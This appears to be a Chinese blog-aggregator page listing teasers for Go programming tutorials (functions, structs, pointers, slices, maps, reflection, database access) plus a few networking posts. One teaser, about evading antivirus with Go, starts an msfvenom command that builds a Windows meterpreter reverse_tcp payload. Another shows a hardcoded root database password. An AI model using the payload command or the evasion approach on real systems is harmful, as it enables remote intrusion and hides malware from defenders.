链路jaeger client go

go 函数

前言: 函数是组织好的、可重复使用的、用来实现单一或相关联功能的代码段, 可以提高应用的模块性和代码的重复利用率。 正文: 函数定义语法: func 函数名(形式参数列表)(返回值列表){ 函数体 } 函数定义示例1: func getSum(a int, b int) int { return a ......
函数 go

go复杂数据类型 结构体

前言: Go 语言中没有“类”的概念,也不支持“类”的继承等面向对象的概念。 通过结构体的方式来实现了面向对象 ,去除了传统的oop语法,继承,重载,构造,析构,隐藏this的特性, 仍然有面向对象三大特性,实现和面向对象方法有所不同,没有extends关键字 , 结构体的内嵌配合接口比面向对象具有 ......
类型 结构 数据

【入门】Go语言指针详解

一、指针介绍 1.1 什么是指针? 指针是一种存储变量内存地址的变量。 Go 语言中的指针与 C/C++ 中的指针类似,但是 Go 语言中的指针不能进行指针运算,也不能进行指针类型转换。 1.2 指针有什么用? 在Go语言中,指针是一种特殊的变量,它存储了一个变量的内存地址。通过指针,我们可以直接访 ......
指针 语言

【入门】Go语言结构体(struct)详解

一、结构体介绍 1.1 什么是结构体? 结构体是一种自定义的数据类型,用于表示一组相关的数据字段。 结构体可以包含任意数量和类型的字段,每个字段都有一个名称和一个类型。 结构体的定义使用关键字 type 和 struct。 二、结构体定义与初始化 2.1 结构体定义 语法: type 结构体名 st ......
语言 结构 struct

使用msf生成shellcode并用Go免杀?

msf生成的裸马现在已经不行了,加壳也只能加冷门壳了,VMP,Shielden,upx不是失效就是效果很差,所以当下,得用shellcode来免杀了 msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST ......
shellcode msf

Go 语言数组和切片的区别

原文链接: Go 语言数组和切片的区别 在 Go 语言中,数组和切片看起来很像,但其实它们又有很多的不同之处,这篇文章就来说说它们到底有哪些不同。 另外,这个问题在面试中也经常会被问到,属于入门级题目,看过文章之后,相信你会有一个很好的答案。 数组 数组是同一种数据类型元素的集合,数组在定义时需要指 ......
数组 语言 Go

Go语言入门2(流程控制,string)

流程控制 选择结构(分支语句) ​ 因为switch只能匹配固定值,推荐使用if-else做条件筛选 if-else判断 package main import "fmt" func main() { var tmpA int fmt.Scanln(&tmpA) if tmpA >= 90 { fm ......
流程 语言 string

像python操作attr一样在go里用reflect 操作field (标题与内容弱相关)

用go快两年了,其实是基本没怎么用过反射。主要是感觉对上层的使用来说没啥用。 之前模仿python的getattr和setattr简单写过GetField和SetField,写完简单测了一下就丢一边了也没大量用(因为没有需求啊) func SetField(obj any, attr string, ......
reflect 标题 内容 python field

(转)Go init函数详解

原文:https://blog.csdn.net/benben_2015/article/details/79486077 Go init函数详解init()函数会在每个包完成初始化后自动执行,并且执行优先级比main函数高。init 函数通常被用来: 对变量进行初始化检查/修复程序的状态注册运行一 ......
函数 init

tcp/ip协议二、数据链路层

以太网和IEEE802.2封装格式 环回口: 传给唤回地址(一般是127.0.0.1,但只要是以127开头都一样)的任何数据作为IP输入 MTU与路径MTU ......
链路 数据 tcp ip

对于数据链路层滑动窗口协议中窗口大小的总结

3.4节中介绍了三种滑动窗口协议:1位滑动窗口协议、GBN协议、SR协议。1位滑动窗口协议本质上就是一种全双工的停等式协议,它的发送窗口和接收窗口大小都是1,在此不做赘述,我主要分析后两种协议的窗口大小。 在SR协议中,窗口大小默认满足如下两个基本条件:发送窗口大小= 接收窗口大小发送窗口大小+接收 ......
链路 大小 数据

【入门】Go语言排序算法详解

1、冒泡排序 冒泡排序是一种简单的排序算法,它重复地遍历要排序的列表,比较相邻的两个元素,并在必要时交换它们的位置,直到没有任何一对元素需要交换为止。该算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。 package main import "fmt" // 我们定义了一个名为`bu ......
算法 语言

openfeign开启压缩和改变http调用client

压缩 服务端provider配置 #服务端开启压缩 server.compression.enabled=true 调用方consumer配置 #配置请求GZIP压缩 feign.compression.request.enabled=true #配置响应GZIP压缩 feign.compressi ......
openfeign client http

go实现一个简单切片迭代器

package main import "fmt" type iterator struct { data []int index int // 索引 } // 通过简单工厂函数构造一个实例对象 func newIterator(data []int) *iterator { return &ite ......

Go语言入门(go环境配置,变量和常量)

go语言特点 天然支持高并发 语法简单,去掉很多臃肿的东西 优化的内存分配和垃圾处理 完善的标准库 go安装 下载:Go下载 - Go语言中文网 - Golang中文社区 (studygolang.com) go version判断是否安装成功 配置环境变量GOROOT ,GOPATH go env ......
常量 变量 语言 环境

Go语言规范汇总

统一规范篇 合理规划目录 本篇主要描述了公司内部同事都必须遵守的一些开发规矩,如统一开发空间,既使用统一的开发工具来保证代码最后的格式的统一,开发中对文件和代码长度的控制,必须经过go语言自带的检测机制等。 【原则1.1】合理规划目录,一个目录中只包含一个包(实现一个模块的功能),如果模块功能复杂考 ......
语言

go 指针

前言: 变量在运行时都拥有一个地址,这个地址代表变量在内存中的位置,当一个指针被定义后没有分配到任何变量时,它的默认值为 nil。 Go语言中使用在变量名前面添加&操作符(前缀)来获取变量的内存地址。 指针变量通常缩写为 ptr。 正文: 通过指针,获取变量的值 num := 5 ptr := &n ......
指针 go

go map

前言: map类型是一个hash表,由键和值组成 正文: map声明格式: var mapname map[keytype] valuetype mapname 为map的变量名 keytype 为键类型 valuetype 是键对应的值类型 未初始化的map的值是nil map创建实例: 方式1: ......
map go

go 切片

前言: 切片的底层是数组,是对数组一个连续片段的引用。 切片和数组的不同在于定义时:数组[]中有值,切片[]中无值 由于数组的长度不可改变,所以Go提供了一种灵活,功能强悍的内置类型切片(“动态数组”)。 切片是一个有三个字段的数据结构,这 3 个字段分别是容量(capacity)、长度(lengt ......
go

Go 连接数据库的增删改查

package main import ( "database/sql" "fmt" _ "github.com/go-sql-driver/mysql" ) var db *sql.DB func initDB() (err error) { dsn := "root:123456@tcp(127 ......
数据库 数据 Go

开心档之Go 错误处理

Go 错误处理 Go 语言通过内置的错误接口提供了非常简单的错误处理机制。 error类型是一个接口类型,这是它的定义: type error interface { Error() string } 我们可以在编码中通过实现 error 接口类型来生成错误信息。 函数通常在最后的返回值中返回错误信 ......
错误

开心档之Go 语言环境安装

Go 语言环境安装 Go 语言支持以下系统: Linux FreeBSD Mac OS X(也称为 Darwin) Windows 安装包下载地址为:https://golang.org/dl/。 如果打不开可以使用这个地址:https://golang.google.cn/dl/。 各个系统对应的 ......
语言 环境

html dom关于offset和client和scroll属性的详细说明

确定元素的尺寸 在 Windows Internet Explorer 9 中使用 CSSOM 测量元素尺寸和位置 ......
属性 client offset scroll html

Go 语言:通过TDD驱动开发创建一个 Web 服务器,用户可以在其中跟踪玩家赢了多少场游戏。

你被要求创建一个 Web 服务器,用户可以在其中跟踪玩家赢了多少场游戏。 GET /players/{name} 应该返回一个表示获胜总数的数字 POST /players/{name} 应该为玩家赢得游戏记录一次得分,并随着每次 POST 递增 我们将遵循 TDD 方法,尽可能快地让程序先可用,然 ......
语言 玩家 服务器 用户 TDD

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 1/3

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 1/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 2/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 3/3 项目地址:https://gi ......
kubernetes Istio Grpc Go

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 2/3

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 1/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 2/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 3/3 项目地址:https://gi ......
kubernetes Istio Grpc Go

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 3/3

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 1/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 2/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 3/3 项目地址:https://gi ......
kubernetes Istio Grpc Go

数据链路层

封装成帧: MAC没有帧定界,因为他们有时间间隔地发送帧,不需要区别。 差错检测: 法一:奇偶校验:主机一个主机二规定0,1的个数为奇数或者偶数,如果有误,奇数偶数发生变化,那么就知道出现了误码。但如果正好出现2个误码,就没有改变奇偶性,则无法辨别是否出现误码。 法二:循环冗余校验:发送方用发送数据 ......
链路 数据

go语言基础

1.常量,变量,指针定义 package main import "fmt" const s = 2 const ( Unknown = 0 Female = 1 Male = 2 ) var n = 3 func main() { a, b, c := 1, 2, "str1" a, b = b, ......
语言基础 语言 基础

go 数组

前言: go中数组的使用, 数组是一个由固定长度的特定类型元素组成的序列, 一个数组可以由零个或多个元素组成, 存放多个同一类型的数据,是一种复杂数据类型 正文: 定义数组语法: var 数组变量名 [元素数量]Type = [元素数量]Type {} 元素数量是常量 一旦定义不能改变 定义方式如下 ......
数组 go